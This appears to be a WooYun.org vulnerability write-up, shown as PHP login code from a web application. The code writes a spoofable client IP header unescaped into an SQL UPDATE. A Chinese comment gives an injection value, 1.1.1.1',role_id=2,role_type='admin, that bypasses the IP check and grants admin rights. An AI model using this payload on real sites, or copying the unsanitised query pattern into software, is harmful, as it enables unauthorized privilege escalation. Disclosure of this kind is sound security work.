WooYun.org

function login($nickname, $password, $is = '') {
			......
			$member = $this->login_check($nickname, $password, $is);
			$_uid = $member['uid'];
			if($_uid < 1)
			{
				$error = '登录失败： ' . $login_rets[$_uid];
				return array('uid' => $_uid, 'error'=>$error);
			}
			else //登陆成功
			{
				$member['uc_syn_html'] = $uc_syn_html;
				
				$timestamp=time();
				$last_ip=client_ip();//问题出在这儿，跟进0x01
				$sql="
		UPDATE
			".TABLE_PREFIX.'members'."
		SET
			`lastactivity`='{$timestamp}',
			`lastip`='{$last_ip}'
		WHERE
			uid={$_uid}";
				DB::query($sql);
			}

function client_ip() {
	$vs = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'); //HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR是可伪造的。
	foreach($vs as $v) {
		$ip = (getenv($v) ? getenv($v) : $_SERVER[$v]);
		if($ip && strcasecmp($ip, 'unknown')) {
			break;
		}
	}
	$ips = explode('.', $ip); 
/*
以点号为分隔符,分割IP.然后将每一位与1比较,看是否小于1，如果小于1,ip=127.0.0.1我们提交
1.1.1.1',role_id=2,role_type='admin
第一个1不小于1,第二个1不小于1,第3个1不小于1,第4个1',role_id=2,role_type='admin其实与1比较值也是1,所以还是不小于1，成功绕过。
*/
	for($i = 0; $i < 4; $i++) {
		if($ips[$i] < 1) {
			$ip = '127.0.0.1';
			break;
		}
	}
	return $ip;
}